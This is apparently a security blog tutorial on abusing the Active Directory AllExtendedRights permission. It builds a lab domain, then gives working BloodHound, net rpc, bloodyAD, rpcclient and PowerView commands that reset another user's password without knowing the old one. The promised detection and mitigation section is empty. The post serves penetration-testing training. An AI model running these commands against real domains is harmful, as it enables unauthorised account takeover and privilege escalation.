Abusing AD-DACL: AllExtendedRights

In this post, we will explore the exploitation of Discretionary Access Control Lists (DACL) using the AllExtendedRights permission in Active Directory environments. With this permission, attackers can escalate privileges, gain persistent access, and potentially take control of critical directory resources, making it a powerful foothold in compromising a domain.

The lab setup necessary to simulate these attacks is outlined, with methods mapped to the MITRE ATT&CK framework to clarify the associated techniques and tactics. Detection mechanisms for identifying suspicious activities linked to AllExtendedRights attacks are also covered, alongside actionable recommendations for mitigating these vulnerabilities. This overview equips security professionals with critical insights to recognize and defend against these prevalent threats.

Table of Contents

AllExtendedRights Permission

Prerequisites

Lab Setup – User Owns AllExtendedRights Permission

Exploitation – User Owns AllExtendedRights Permission

Bloodhound – Hunting for Weak Permission

Method for Exploitation – Change Password (T1110.001)

Linux Net RPC – Samba Linux Net RPC – Rpcclient Linux Net RPC – BloodAD Windows PowerShell – Powerview

Detection & Mitigation

AllExtendedRights Permission

Extended rights are special rights granted on objects which allow reading of privileged attributes, as well as performing special actions.

This permission allows for resetting passwords on User objects and for crafting a Resource-Based Constrained Delegation (RBCD) attack for Computer objects

If a domain object with AllExtendedRights permissions on the domain object itself is compromised, that domain object will have both the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privilege. Both rights allow a principal to replicate objects from the Domain (DCSync).

Prerequisites

Windows Server 2019 as Active Directory Kali Linux Tools: Bloodhound, Net RPC, Powerview, BloodyAD Windows 10/11 – As Client

Lab Setup – User Owns AllExtendedRights Permission

Here, in this lab setup, we will create two users’ Kavish and Geet, and will assign Geet user “AllExtendedRights” permission for Kavish User.

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller: Install Windows Server (2016 or 2019 recommended). Promote it to a Domain Controller by adding the Active Directory Domain Services role. Set up the domain (e.g., ignite.local). User Accounts: Create two AD user accounts named Kavish and Geet. net user kavish Password@1 /add /domain net user geet Password@1 /add /domain

Assign the “AllExtendedRights” Privilege to Geet for Kavish User:

Once your AD environment is set up, you need to assign the “AllExtendedRights” privilege to Geet for Kavish user.

Steps: Open Active Directory Users and Computers (ADUC) on the Domain Controller. Enable the Advanced Features view by clicking on View > Advanced Features. Locate User Kavish in the Users container. Right-click on Kavish User and go to Properties.

                 

               5. Go to the Security tab, and click on Add button

               

                6. In the “Enter the object name to select” box, type Geet and click Check Names and click on OK.

               

                7. Select Geet user and click on advanced option.

               

                8. In the Advanced security settings box, double-click on Geet user’s permission entry.

               

                 9. In the Permissions section, check the box for All Extended Rights permission. 

                10. Apply the settings.

               

At this point, Geet now has AllExtendedRights permission for Kavish user, meaning Geet can change the password of Kavish user’s account without knowing their current password

Exploitation

Bloodhound – Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Geet has the AllExtendedRights permission for Kavish user.

bloodhound-python -u geet -p Password@1 -ns 192.168.1.8 -d ignite.local -c All

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.

Thus, it has shown that Geet User has AllExtendedRights privilege for Kavish user.

Method for Exploitation – Change Password (T1110.001)

The tester can abuse this permission by changing password for Kavish user without knowing their current password.

Linux Net RPC – Samba

It can be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients.

net rpc password kavish 'Password@987' -U ignite.local/geet%'Password@1' -S 192.168.1.8

Linux Bloody AD

Alternatively, it can be achieved using bloodyAD

bloodyAD --host "192.168.1.8" -d "ignite.local" -u "geet" -p "Password@1" set password "kavish" "Password@987"

Linux Net RPC – Rpcclient

The rpcclient can also be used on UNIX-like systems when the package samba-common-bin is missing.

rpcclient -U ignite.local/geet 192.168.1.8 setuserinfo kavish 23 Ignite@987

Windows PowerShell – Powerview

The attacker can change the password of the user using PowerView module. This can be achieved with Set-DomainUserPassword cmdlet.

powershell -ep bypass Import-Module .\PowerView.ps1 $NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force Set-DomainUserPassword -Identity 'kavish' -AccountPassword $NewPassword

Or the above can be achieved in verbose mode as well

Set-DomainUserPassword -Identity 'kavish' -Verbose

Detection & Mitigation

Author: Pradnya Pawar is an InfoSec researcher and Security Tech Lead. Contact here